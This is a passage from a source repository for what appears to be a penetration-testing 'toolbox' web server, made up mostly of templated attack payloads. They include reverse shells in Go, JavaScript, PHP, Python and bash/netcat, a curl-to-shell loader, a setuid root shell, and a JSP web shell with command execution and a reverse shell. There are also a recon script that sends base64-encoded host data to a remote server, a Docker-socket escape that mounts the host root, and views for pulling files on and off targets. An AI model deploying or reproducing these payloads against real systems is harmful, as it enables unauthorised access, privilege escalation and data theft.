13 | sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
14 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/read_file.py:
--------------------------------------------------------------------------------
1 | import urllib.request
2 | 
3 | response = urllib.request.urlopen("http://{{datastore.srvhost}}:{{datastore.srvport}}/linpeas.sh")
4 | print(response.read().decode(response.headers.get_content_charset()))
5 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/recon.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/sh
 2 | 
 3 | 
 4 | pingback() {
 5 |     if command -v curl > /dev/null 2>&1; then
 6 |         curl "{{datastore.srvhost_url}}$1" -o /dev/null
 7 |     elif command -v wget >/dev/null 2>&1; then
 8 |         wget "{{datastore.srvhost_url}}$1" -O /dev/null
 9 |     elif [ -f /bin/bash ]; then
10 |         /bin/bash -c "exec 3<>/dev/tcp/{{datastore.srvhost_domain}}/{{datastore.srvhost_port}} && echo -e \"GET /$1 HTTP/1.1\r\nhttp://{{datastore.srvhost_domain}}\r\nConnection: close\r\n\r\n\" >&3 && cat <&3"
11 |     elif command -v nc > /dev/null 2>&1; then
12 |         printf "GET /$1 HTTP/1.1\r\nhttp://{{datastore.srvhost_domain}}\r\nConnection: close\r\n\r\n" | nc {{datastore.srvhost_domain}} {{datastore.srvhost_port}}
13 |     elif command -v ncat > /dev/null 2>&1; then
14 |         printf "GET /$1 HTTP/1.1\r\nhttp://{{datastore.srvhost_domain}}\r\nConnection: close\r\n\r\n" | ncat {{datastore.srvhost_domain}} {{datastore.srvhost_port}}
15 |     fi
16 | };
17 | 
18 | pingback "debug/whoami?value=$(whoami 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
19 | pingback "debug/whoami?value=$(whoami 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
20 | pingback "debug/tools/wget?value=$(wget --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
21 | pingback "debug/tools/curl?value=$(curl --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
22 | pingback "debug/tools/python/?value=$(python --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
23 | pingback "debug/tools/python2.7/?value=$(python2 --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
24 | pingback "debug/tools/python3/?value=$(python3 --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
25 | pingback "debug/tools/nc/?value=$(nc -h 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
26 | pingback "debug/tools/ncat/?value=$(ncat -h 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
27 | pingback "debug/tools/perl/?value=$(perl --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
28 | pingback "debug/tools/php/?value=$(php --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
29 | 
30 | pingback "debug/tools/newest/?value=$(php --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/g' -e 's#/#%2F#g')"
31 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/setuid.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <sys/types.h>
 3 | #include <unistd.h>
 4 | 
 5 | // printf 'int main(void){setresuid(0,0,0);system("/bin/sh");}'>tmp.c
 6 | int main(void) {
 7 |     setuid(0);
 8 |     setgid(0);
 9 |     system("/bin/bash");
10 | }
11 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell.go:
--------------------------------------------------------------------------------
 1 | package main
 2 | 
 3 | import (
 4 |         "net"
 5 |         "os/exec"
 6 |         "time"
 7 | )
 8 | 
 9 | func main() {
10 |         reverse("{{datastore.lhost}}:{{datastore.lport}}")
11 | }
12 | 
13 | func reverse(host string) {
14 |         c, err := net.Dial("tcp", host)
15 |         if nil != err {
16 |                 if nil != c {
17 |                         c.Close()
18 |                 }
19 |                 time.Sleep(time.Minute)
20 |                 reverse(host)
21 |         }
22 | 
23 |         cmd := exec.Command("/bin/sh")
24 |         cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c
25 |         cmd.Run()
26 |         c.Close()
27 |         reverse(host)
28 | }
29 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell.js:
--------------------------------------------------------------------------------
1 | require('child_process').exec("/bin/bash -c 'bash -i >& /dev/tcp/{{datastore.lhost}}/{{datastore.lport}} 0>&1'")
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell.jsp:
--------------------------------------------------------------------------------
 1 | <!--
 2 |     For tomcat web application manager:
 3 |         mkdir webshell
 4 |         curl {{datastore.srvhost_url}}/shells/shell.jsp > webshell/index.jsp
 5 |         jar -cvf webshell.war -C webshell .
 6 |     Navigate to the tomcat manager and select the WAR file to upload and select deploy, or with the text API:
 7 |         curl --upload-file ./webshell.war "http://10.10.10.10:8080/manager/text/deploy?path=/webshell&update=true" -u 'user:pass'
 8 | -->
 9 | 
10 | <h2>Arbitrary commands</h2>
11 | <form method='GET'>
12 |     <textarea name='cmd' style='width: 100%' type='text'><%= request.getParameter("cmd") == null ? "" : request.getParameter("cmd") %></textarea>
13 |     <br />
14 |     <input type='submit' value='Run'>
15 | </form>
16 | <%@ page import="java.io.*" %>
17 | <%
18 |     String cmd = request.getParameter("cmd");
19 |     String output = "";
20 |     if(cmd != null) {
21 |         String s = null;
22 |         try {
23 |             Process p = Runtime.getRuntime().exec(cmd,null,null);
24 |             BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
25 |             while((s = sI.readLine()) != null) {
26 |                 output += s + "</br>";
27 |             }
28 |         }  catch(IOException e) {
29 |             e.printStackTrace();
30 |         }
31 |     }
32 | %>
33 | <pre><%= output %></pre>
34 | 
35 | <h2>Reverse shell</h2>
36 | <form method='GET'>
37 |     <strong>rhost</strong>
38 |     <textarea name='rhost' style='width: 100%' type='text'><%= request.getParameter("rhost") == null ? "{{datastore.lhost}}" : request.getParameter("rhost") %></textarea>
39 |     <br />
40 |     <strong>rport</strong>
41 |     <textarea name='rport' style='width: 100%' type='text'><%= request.getParameter("rport") == null ? "{{datastore.lport}}" : request.getParameter("rport") %></textarea>
42 |     <br />
43 |     <strong>process</strong>
44 |     <textarea name='process' style='width: 100%' type='text'><%= request.getParameter("process") == null ? "cmd.exe" : request.getParameter("process") %></textarea>
45 |     <br />
46 |     <input type='submit' value='run'>
47 | </form>
48 | <%@page import="java.lang.*"%>
49 | <%@page import="java.util.*"%>
50 | <%@page import="java.io.*"%>
51 | <%@page import="java.net.*"%>
52 | <%
53 |     final String process = request.getParameter("process");
54 |     try {
55 |         if (process != null) {
56 |             final String rhost = request.getParameter("rhost");
57 |             final int rport = Integer.parseInt(request.getParameter("rport"));
58 |             // Thread thread = new Thread(){
59 |                 //public void run(){
60 |                     List commandAndArguments = new ArrayList();
61 |                     commandAndArguments.add(process);
62 |                     Process p = new ProcessBuilder(commandAndArguments).redirectErrorStream(true).start();
63 |                     Socket s = new Socket(rhost, rport);
64 |                     InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
65 |                     OutputStream po = p.getOutputStream(), so = s.getOutputStream();
66 |                     while (!s.isClosed()) {
67 |                         while (pi.available() > 0) so.write(pi.read());
68 |                         while (pe.available() > 0) so.write(pe.read());
69 |                         while (si.available() > 0) po.write(si.read());
70 |                         so.flush();
71 |                         po.flush();
72 |                         Thread.sleep(50);
73 |                         try {
74 |                             p.exitValue();
75 |                             break;
76 |                         } catch (Exception e) {}
77 |                     };
78 |                     p.destroy();
79 |                     s.close();
80 |                 //}
81 |             // };
82 | 
83 |             //thread.start();
84 |         }
85 |     } catch (Exception e) {
86 |         System.out.println("failed");
87 |     }
88 | %>
89 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell.lua:
--------------------------------------------------------------------------------
1 | os.execute("/usr/bin/curl {{datastore.srvhost_url}}shells/shell.sh | /bin/sh")
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell.php:
--------------------------------------------------------------------------------
1 | <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/{{datastore.lhost}}/{{datastore.lport}} 0>&1'");
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell.py:
--------------------------------------------------------------------------------
 1 | os = __import__("os")
 2 | socket = __import__("socket")
 3 | pty = __import__("pty")
 4 | 
 5 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 6 | s.connect(("{{datastore.lhost}}", {{datastore.lport}}))
 7 | os.dup2(s.fileno(), 0)
 8 | os.dup2(s.fileno(), 1)
 9 | os.dup2(s.fileno(), 2)
10 | pty.spawn("/bin/bash")
11 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell.sh:
--------------------------------------------------------------------------------
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {{datastore.lhost}} {{datastore.lport}} >/tmp/f
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell_bash.sh:
--------------------------------------------------------------------------------
1 | /bin/bash -c "/bin/bash &>/dev/tcp/{{datastore.lhost}}/{{datastore.lport}} <&1" 2>&1
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/shell_fifo_nc.sh:
--------------------------------------------------------------------------------
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {{datastore.lhost}} {{datastore.lport}} >/tmp/f
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/writable_docker_socket.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | 
 3 | set -x
 4 | 
 5 | # Initially from: https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket
 6 | # Containers directly reach out to the host though
 7 | 
 8 | echo "Getting images"
 9 | images_response=$(curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json)
10 | echo "${images_response}"
11 | 
12 | echo "Picking a random image - note that the container might not have the required runtime depenendecies"
13 | image_name=$(echo "${images_response}" | grep -Po '"Id":"[^"]+"' | tail -n 1 | cut -f4 -d '"' | cut -f 2 -d ':')
14 | 
15 | echo "Choosing image name: ${image_name}"
16 | 
17 | echo "Creating container"
18 | container_config="{\"Image\":\"${image_name}\",\"EntryPoint\": [\"\"], \"Cmd\":[\"/bin/sh\", \"-c\", \"wget 10.10.14.17/shells/one_line_python.py/4447 -O- | /bin/sh\"],\"DetachKeys\":\"Ctrl-p,Ctrl-q\",\"OpenStdin\":true,\"Mounts\":[{\"Type\":\"bind\",\"Source\":\"/\",\"Target\":\"/host_root\"}]}"
19 | create_container_response=$(curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "${container_config}" http://localhost/containers/create)
20 | container_id=$(echo "${create_container_response}" | grep -Po '"Id":"([^"])+"' | cut -f4 -d '"')
21 | echo "Extracted container_id: ${container_id}"
22 | 
23 | echo "Starting container"
24 | curl -v -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/${container_id}/start
25 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/views/_directory_list.html:
--------------------------------------------------------------------------------
 1 | <table class="table table-hover">
 2 |     <thead>
 3 |         <tr>
 4 |             <th>#</th>
 5 |             <th>Name</th>
 6 |             <th>Size</th>
 7 |             <th>Last Modified</th>
 8 |             <th>Actions</th>
 9 |         </tr>
10 |     </thead>
11 |     <tbody>
12 |     {%- for file in files %}
13 |         <tr>
14 |             <td>{{loop.index}}</td>
15 |             <td>
16 |                 <a href="{{file.server_path}}">{{file.name}}{{ '/' if file.is_dir else '' }}</a>
17 |             </td>
18 |             <td>
19 |                 <a
20 |                     href="{{file.server_path}}"
21 |                     type="button"
22 |                     data-toggle="tooltip"
23 |                     data-placement="bottom"
24 |                     title="{{ '{:,}'.format(file.size) }} bytes"
25 |                 >
26 |                     {{file.size | filesizeformat(true) }}
27 |                 </a>
28 |             </td>
29 |             <td>
30 |                 <a
31 |                     href="{{file.server_path}}"
32 |                     type="button"
33 |                     data-toggle="tooltip"
34 |                     data-placement="bottom"
35 |                     title="{{ file.modified_at }}"
36 |                 >
37 |                     {{file.modified_at | pretty_date}}
38 |                 </a>
39 |             </td>
40 |             <td>
41 |                 <a href="{{file.server_path}}"
42 |                     type="button"
43 |                     data-toggle="tooltip"
44 |                     data-placement="bottom"
45 |                     title="View in browser"
46 |                     style="padding: 0.75rem; margin: -0.75rem; margin-right: 0.2rem"
47 |                 >
48 |                     <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-zoom-in" viewBox="0 0 16 16">
49 |                         <path fill-rule="evenodd" d="M6.5 12a5.5 5.5 0 1 0 0-11 5.5 5.5 0 0 0 0 11zM13 6.5a6.5 6.5 0 1 1-13 0 6.5 6.5 0 0 1 13 0z"/>
50 |                         <path d="M10.344 11.742c.03.04.062.078.098.115l3.85 3.85a1 1 0 0 0 1.415-1.414l-3.85-3.85a1.007 1.007 0 0 0-.115-.1 6.538 6.538 0 0 1-1.398 1.4z"/>
51 |                         <path fill-rule="evenodd" d="M6.5 3a.5.5 0 0 1 .5.5V6h2.5a.5.5 0 0 1 0 1H7v2.5a.5.5 0 0 1-1 0V7H3.5a.5.5 0 0 1 0-1H6V3.5a.5.5 0 0 1 .5-.5z"/>
52 |                     </svg>
53 |                 </a>
54 | 
55 |                 {%- if file.is_file %}
56 |                     <span
57 |                         data-toggle="tooltip"
58 |                         data-placement="bottom"
59 |                         title="View download commands"
60 |                     >
61 |                         <a
62 |                             href="#"
63 |                             type="button"
64 |                             data-path="{{file.server_path}}"
65 |                             data-toggle="modal"
66 |                             data-target="#commands-modal"
67 |                             style="padding: 0.75rem; margin: -0.75rem"
68 |                         >
69 |                             <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-cloud-download" viewBox="0 0 16 16">
70 |                                 <path d="M4.406 1.342A5.53 5.53 0 0 1 8 0c2.69 0 4.923 2 5.166 4.579C14.758 4.804 16 6.137 16 7.773 16 9.569 14.502 11 12.687 11H10a.5.5 0 0 1 0-1h2.688C13.979 10 15 8.988 15 7.773c0-1.216-1.02-2.228-2.313-2.228h-.5v-.5C12.188 2.825 10.328 1 8 1a4.53 4.53 0 0 0-2.941 1.1c-.757.652-1.153 1.438-1.153 2.055v.448l-.445.049C2.064 4.805 1 5.952 1 7.318 1 8.785 2.23 10 3.781 10H6a.5.5 0 0 1 0 1H3.781C1.708 11 0 9.366 0 7.318c0-1.763 1.266-3.223 2.942-3.593.143-.863.698-1.723 1.464-2.383z"/>
71 |                                 <path d="M7.646 15.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 14.293V5.5a.5.5 0 0 0-1 0v8.793l-2.146-2.147a.5.5 0 0 0-.708.708l3 3z"/>
72 |                             </svg>
73 |                         </a>
74 |                     </span>
75 |                 {%- endif %}
76 |             </td>
77 |         </tr>
78 |     {%- endfor %}
79 |     </tbody>
80 | </table>
81 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/views/_download_commands.html:
--------------------------------------------------------------------------------
 1 | {%- raw %}
 2 | <div class="modal fade" id="commands-modal" tabindex="-1" role="dialog" aria-labelledby="commands-modal-label" aria-hidden="true">
 3 |   <div class="modal-dialog modal-lg " role="document">
 4 |     <div class="modal-content">
 5 |       <div class="modal-header">
 6 |         <h5 class="modal-title" id="commands-modal-label">Download Commands</h5>
 7 |         <button type="button" class="close" data-dismiss="modal" aria-label="Close">
 8 |           <span aria-hidden="true">&times;</span>
 9 |         </button>
10 |       </div>
11 |       <div class="modal-body">
12 |         <h4>HTTP</h4>
13 |         Download commands using HTTP:
14 |         <pre class="raw-snippet d-none"><code>
15 | # Linux
16 | curl {{file.url}} &gt; {{file.name}}
17 | wget -O {{file.name}} {{file.url}}
18 | python3 -c 'r=__import__("urllib.request").request.urlopen("{{file.url}}");open("{{file.name}}","wb").write(r.read())'
19 | 
20 | # Windows
21 | certutil -urlcache -f {{file.url}} {{file.name}}
22 | Invoke-WebRequest -uri {{file.url}} -OutFile {{file.name}}
23 | </code></pre>
24 | 
25 |       <h4>SMB</h4>
26 |       Download commands using SMB:
27 |       <pre class="raw-snippet d-none"><code>
28 | # Run server_path
29 | python3 ~/impacket/examples/smbserver.py -ip {{ip}} my_share .
30 | 
31 | # Download file
32 | copy \\{{ip}}\my_share\{{file.name}} {{file.name}}</pre>
33 | </code></pre>
34 |       </div>
35 |       <div class="modal-footer">
36 |         <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
37 |       </div>
38 |     </div>
39 |   </div>
40 | </div>
41 | {%- endraw %}
42 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/views/_upload_form.html:
--------------------------------------------------------------------------------
 1 | {%- set form = view_model.upload_token_form -%}
 2 | {%- set upload_token = view_model.upload_token -%}
 3 | {%- set has_uploads_enabled = view_model.has_uploads_enabled %}
 4 | 
 5 | <p>
 6 |     <a
 7 |         class="btn btn-info"
 8 |         data-toggle="collapse"
 9 |         href="#upload_token_form"
10 |         role="button"
11 |         aria-expanded="false"
12 |     >
13 |         Upload File
14 |     </a>
15 | </p>
16 | 
17 | {%- if upload_token %}
18 |     <div id="temporary-token" class="collapse show">
19 |         <div class="alert alert-success" role="alert">
20 |             <h4 class="alert-heading">Temporary upload token created</h4>
21 |             <div>Use the following command on the target machine to send the file:</div>
22 |             <hr>
23 |             <pre>curl -F "file=@./{{upload_token.file_name}}" -F "token_id={{upload_token.id}}" {{ url_for('serve.uploads', _external=True) }}</pre>
24 | 
25 |             <a
26 |                 class="btn btn-outline-secondary"
27 |                 data-toggle="collapse"
28 |                 href="#temporary-token"
29 |                 role="button"
30 |                 aria-expanded="false"
31 |             >
32 |                 Close
33 |             </a>
34 |         </div>
35 |     </div>
36 | {%- endif %}
37 | 
38 | <div id="upload_token_form" class="collapse {{ 'show' if form.file_name.data }}">
39 |     <div class="card card-body {{ 'alert alert-warning' if not has_uploads_enabled }}">
40 |         <h4>Upload File</h4>
41 | 
42 |         {%- if not has_uploads_enabled %}
43 |             <div>
44 |                 Upload support not currently enabled.
45 | 
46 |                 The webserver must be stopped and re-run with the <code>--password</code> option
47 |             </div>
48 |         {%- else %}
49 |             {% for error in form.errors %}
50 |                 <li>{{ error }}</li>
51 |             {% endfor %}
52 | 
53 |             <p>Create a temporary upload URL to upload files to remotely:</p>
54 | 
55 |             <form method="POST" class="form" action="{{ url_for('serve.create_token') }}">
56 |                 {{ form.csrf_token }}
57 |                 <div class="form-group row">
58 |                     <label for="inputPassword3" class="col-sm-2 col-form-label">
59 |                         File name
60 |                         <a type="button" data-toggle="tooltip" data-placement="bottom" title="The local file name to save the file as">
61 |                             <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="currentColor" class="bi bi-question-circle text-primary" viewBox="0 0 16 16">
62 |                                 <path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
63 |                                 <path d="M5.255 5.786a.237.237 0 0 0 .241.247h.825c.138 0 .248-.113.266-.25.09-.656.54-1.134 1.342-1.134.686 0 1.314.343 1.314 1.168 0 .635-.374.927-.965 1.371-.673.489-1.206 1.06-1.168 1.987l.003.217a.25.25 0 0 0 .25.246h.811a.25.25 0 0 0 .25-.25v-.105c0-.718.273-.927 1.01-1.486.609-.463 1.244-.977 1.244-2.056 0-1.511-1.276-2.241-2.673-2.241-1.267 0-2.655.59-2.75 2.286zm1.557 5.763c0 .533.425.927 1.01.927.609 0 1.028-.394 1.028-.927 0-.552-.42-.94-1.029-.94-.584 0-1.009.388-1.009.94z"/>
64 |                             </svg>
65 |                         </a>
66 |                     </label>
67 |                     <div class="col-sm-10">
68 |                         {{ form.file_name(size=20, class_='form-control', placeholder="some_file.txt") }}
69 |                     </div>
70 |                 </div>
71 |                 <button type="submit" class="btn btn-outline-primary">
72 |                     Create
73 |                 </button>
74 |                 <a
75 |                     class="btn btn-outline-secondary"
76 |                     data-toggle="collapse"
77 |                     href="#upload_token_form"
78 |                     role="button"
79 |                     aria-expanded="false"
80 |                 >
81 |                     Close
82 |                 </a>
83 |             </form>
84 |         {%- endif %}
85 |     </div>
86 |     <br />
87 | </div>
88 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/views/index.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
 2 | <title>Toolbox</title>
 3 | <head>
 4 |     <link href="data:image/x-icon;base64,x" rel="icon" type="image/x-icon" />
 5 |     <link rel="stylesheet" href="{{ url_for('static', filename='bootstrap-4.0.0.min.css')}}" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"/>
 6 |     <script src="{{ url_for('static', filename='jquery-3.5.1.slim.min.js')}}" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
 7 |     <script src="{{ url_for('static', filename='popper-1.16.1.min.js')}}" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"></script>
 8 |     <script src="{{ url_for('static', filename='bootstrap-4.5.3.min.js')}}" integrity="sha384-w1Q4orYjBQndcko6MimVbzY0tgp4pWB4lZ7lr30WKz0vr/aWKhXdBNmNb5D92v7s" crossorigin="anonymous"></script>
 9 | </head>
10 | {%- raw %}
11 | <script>
12 | $(document).ready(function(){
13 |     $("#commands-modal").on("show.bs.modal", function(event){
14 |         var buttonTrigger = $(event.relatedTarget);
15 |         var urlBase = location.protocol + '//' + location.host;
16 |         var url = urlBase + buttonTrigger.data("path");
17 |         var filename = url.split("/").pop()
18 |         var ip = location.host.split(":")[0];
19 | 
20 |         // Copy the raw example snippet text, substitute variables, and create a sibling node with the rendered text
21 |         $(this).find(".raw-snippet").each(function () {
22 |             var $this = $(this);
23 |             var exampleText = $this.text();
24 |             var renderedText = exampleText
25 |                 .replaceAll("{{file.url}}", url)
26 |                 .replaceAll("{{file.name}}", filename)
27 |                 .replaceAll("{{ip}}", ip);
28 |             var $renderedExample = $this.next();
29 |             if (!$renderedExample || !$renderedExample.hasClass('rendered')) {
30 |                 $renderedExample = $("<pre class='rendered' style='white-space: pre-wrap'/>");
31 |                 $renderedExample.insertAfter($this);
32 |             }
33 |             $renderedExample.text(renderedText)
34 |         });
35 |     });
36 | });
37 | </script>
38 | {%- endraw %}
39 | <body>
40 | 
41 | <main role="main" class="container mt-3">
42 |     <h2>Directory listing for /{{server_path}}</h2>
43 |     <hr />
44 | 
45 |     {%- include 'views/_upload_form.html' -%}
46 |     {%- include 'views/_download_commands.html' -%}
47 | 
48 |     {%- with files=view_model.directory_listing.user_files %}
49 |         {% include "views/_directory_list.html" %}
50 |     {% endwith %}
51 | 
52 |     {%- if view_model.directory_listing.server_path == '' %}
53 |         <h2>Inbuilt files</h2>
54 | 
55 |         {% with files=view_model.directory_listing.toolbox_files %}
56 |             {% include "views/_directory_list.html" %}
57 |         {% endwith %}
58 | 
59 |         <h2>Shells</h2>
60 |         <hr>
61 | 
62 |         {% set default_lhost = view_model.payload_generator.default_lhost %}
63 |         {% set default_lport = view_model.payload_generator.default_lport %}
64 |         {%- for module_name in view_model.payload_generator.module_names %}
65 |             <h3>{{ module_name }}</h3>
66 |             <ul>
67 |                 <li><a href="/shells/{{module_name}}">/shells/{{module_name}}</a> - running on default host/port {{default_lhost}} {{default_lport}}</li>
68 |                 <li><a href="/shells/{{module_name}}/{{default_lport}}">/shells/{{module_name}}/{{default_lport}}</a> - custom port</li>
69 |                 <li><a href="/shells/{{module_name}}/{{default_lhost}}/{{default_lport}}">/shells/{{module_name}}/{{default_lhost}}/{{default_lport}}</a> - custom host and port</li>
70 |             </ul>
71 |         {%- endfor %}
72 |     {%- endif %}
73 | </main>
74 | <script>
75 |     $(function () {
76 |         $('[data-toggle="tooltip"]').tooltip()
77 |     })
78 | </script>
79 | </body>
80 | </html>
81 | 


--------------------------------------------------------------------------------